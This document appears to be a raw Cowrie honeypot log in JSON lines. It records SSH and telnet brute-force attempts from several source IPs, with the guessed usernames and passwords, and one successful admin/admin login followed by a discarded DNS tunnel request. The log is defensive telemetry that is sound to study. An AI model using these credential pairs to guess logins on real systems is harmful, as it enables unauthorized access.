{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51864,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0fdb43c4af7","protocol":"ssh","message":"New connection: 159.203.92.129:51864 (159.203.135.109:22) [session: f0fdb43c4af7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:35.131252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:35.184142Z","src_ip":"159.203.92.129","session":"f0fdb43c4af7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:35.187936Z","src_ip":"159.203.92.129","session":"f0fdb43c4af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ZJ","password":"123","message":"login attempt [ZJ/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:35.294626Z","src_ip":"159.203.92.129","session":"f0fdb43c4af7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:50:36.304739Z","src_ip":"159.203.92.129","session":"f0fdb43c4af7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01078176498413,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:00.161038Z","src_ip":"38.156.203.73","session":"4a16951366fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00243973731995,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:01.564414Z","src_ip":"38.156.203.73","session":"30ee969c7556","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":60074,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0a4a360476c","protocol":"ssh","message":"New connection: 185.216.119.134:60074 (10.17.0.5:22) [session: f0a4a360476c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:02.144064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:02.150876Z","src_ip":"185.216.119.134","session":"f0a4a360476c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":35238,"dst_ip":"159.203.135.109","dst_port":22,"session":"14c3f4ddc135","protocol":"ssh","message":"New connection: 31.59.89.180:35238 (159.203.135.109:22) [session: 14c3f4ddc135]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:02.443675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:02.452262Z","src_ip":"31.59.89.180","session":"14c3f4ddc135","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:02.566157Z","src_ip":"31.59.89.180","session":"14c3f4ddc135","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:02.862420Z","src_ip":"185.216.119.134","session":"f0a4a360476c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"1234","message":"login attempt [myuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:03.051332Z","src_ip":"31.59.89.180","session":"14c3f4ddc135","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:04.169233Z","src_ip":"31.59.89.180","session":"14c3f4ddc135","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root!123456","message":"login attempt [root/Root!123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:04.307483Z","src_ip":"185.216.119.134","session":"f0a4a360476c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.156.203.73","src_port":54372,"dst_ip":"159.203.135.109","dst_port":23,"session":"55ec5b183acc","protocol":"telnet","message":"New connection: 38.156.203.73:54372 (159.203.135.109:23) [session: 55ec5b183acc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:04.776502Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.156.203.73","src_port":54384,"dst_ip":"159.203.135.109","dst_port":23,"session":"707908806903","protocol":"telnet","message":"New connection: 38.156.203.73:54384 (159.203.135.109:23) [session: 707908806903]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:04.987765Z"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:05.531112Z","src_ip":"185.216.119.134","session":"f0a4a360476c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00704956054688,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:05.962729Z","src_ip":"38.156.203.73","session":"c03ac1990389","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.156.203.73","src_port":55112,"dst_ip":"159.203.135.109","dst_port":23,"session":"f97df36a551f","protocol":"telnet","message":"New connection: 38.156.203.73:55112 (159.203.135.109:23) [session: f97df36a551f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:06.128949Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41746,"dst_ip":"159.203.135.109","dst_port":22,"session":"f64c37ab2feb","protocol":"ssh","message":"New connection: 159.203.92.129:41746 (159.203.135.109:22) [session: f64c37ab2feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:18.914287Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:18.919111Z","src_ip":"159.203.92.129","session":"f64c37ab2feb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:18.924317Z","src_ip":"159.203.92.129","session":"f64c37ab2feb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ZJ","password":"123456","message":"login attempt [ZJ/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:18.937523Z","src_ip":"159.203.92.129","session":"f64c37ab2feb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":40772,"dst_ip":"10.17.0.5","dst_port":22,"session":"877d94a1da6a","protocol":"ssh","message":"New connection: 196.189.51.7:40772 (10.17.0.5:22) [session: 877d94a1da6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:19.208377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:19.212966Z","src_ip":"196.189.51.7","session":"877d94a1da6a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:19.378871Z","src_ip":"196.189.51.7","session":"877d94a1da6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:19.944640Z","src_ip":"159.203.92.129","session":"f64c37ab2feb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin10","message":"login attempt [root/admin10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:20.069991Z","src_ip":"196.189.51.7","session":"877d94a1da6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:21.245509Z","src_ip":"196.189.51.7","session":"877d94a1da6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":48690,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f7311288313","protocol":"ssh","message":"New connection: 87.251.64.176:48690 (10.17.0.5:22) [session: 3f7311288313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:40.118876Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:40.124007Z","src_ip":"87.251.64.176","session":"3f7311288313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:40.221663Z","src_ip":"87.251.64.176","session":"3f7311288313","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:40.509749Z","src_ip":"87.251.64.176","session":"3f7311288313","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:40.608775Z","session":"3f7311288313","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:40.706131Z","src_ip":"87.251.64.176","session":"3f7311288313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:40.805719Z","src_ip":"87.251.64.176","session":"3f7311288313","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":46212,"dst_ip":"159.203.135.109","dst_port":22,"session":"06e3d48aa767","protocol":"ssh","message":"New connection: 31.59.89.180:46212 (159.203.135.109:22) [session: 06e3d48aa767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:44.089283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:44.093873Z","src_ip":"31.59.89.180","session":"06e3d48aa767","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:44.418364Z","src_ip":"31.59.89.180","session":"06e3d48aa767","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres@2022","message":"login attempt [postgres/postgres@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:44.854568Z","src_ip":"31.59.89.180","session":"06e3d48aa767","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:51:45.970769Z","src_ip":"31.59.89.180","session":"06e3d48aa767","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":49592,"dst_ip":"10.17.0.5","dst_port":22,"session":"12e09a144993","protocol":"ssh","message":"New connection: 185.216.119.134:49592 (10.17.0.5:22) [session: 12e09a144993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:52:02.250417Z"}
